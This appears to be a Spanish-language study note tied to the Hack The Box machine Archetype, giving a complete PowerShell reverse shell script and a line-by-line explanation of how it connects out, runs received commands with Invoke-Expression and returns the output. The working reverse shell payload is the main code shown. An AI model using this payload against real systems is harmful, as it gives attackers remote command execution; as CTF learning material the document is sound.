Shell.ps1
Payload shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "# "
$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Explicación de las partes más relevantes del código:
Linea 1:
$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0",443)
Crea una instancia de la clase
TCPClient
conectándose a la IP y puerto indicados.Variable
$client
es un objeto TCP que mantiene la conexión con el atacante.Función:
New-Object
es usada para instanciar clases de .NET en PowerShell.En sÃntesis, esta lÃnea está creando un objeto (instancia) de la clase
.NET
System.Net.Sockets.TCPClient
.
LÃnea 2:
$stream = $client.GetStream()
.GetStream()
es un método deTCPClient
.Devuelve un
NetworkStream
, que es el canal por donde viajan los datos de ida y vuelta
Linea 6:
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
New-Object System.Text.ASCIIEncoding
→ esto crea una instancia del codificador ASCII, que permite convertir entre bytes ↔ strings.$bytes
es un buffer con datos binarios que vienen por elNetworkStream
..GetString($bytes, 0, $i)
convierte esos bytes en texto plano.
👉 AsÃ, $data
contiene el comando en texto que el atacante escribió desde su lado.
Linea 7: el corazón de la reverse shell:
$sendback = (iex $data 2>&1 | Out-String)
iex $data
→iex
es una abreviación deInvoke-Expression
, una función de PowerShell que evalúa y ejecuta texto como si fuera código. Si$data
contiene:"Get-Process"
, entonces:iex $data
➜ ejecutaGet-Process
2>&1
→ redirige los errores (canal 2) al canal de salida estándar (1), para no perderlos.| Out-String
→ convierte todo el resultado (incluso errores) a una cadena de texto legible.El resultado final se guarda en
$sendback
.
👉 Esto asegura que incluso si el comando falla, la shell no crashea y el atacante recibe el mensaje de error también.
Linea 9 y 10:
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
Ese resultado de la ejecución ($sendback
) se convierte a bytes y se envÃa de vuelta por el NetworkStream
hacia el atacante.
Ver máquina: Archetype (HTB)
Last updated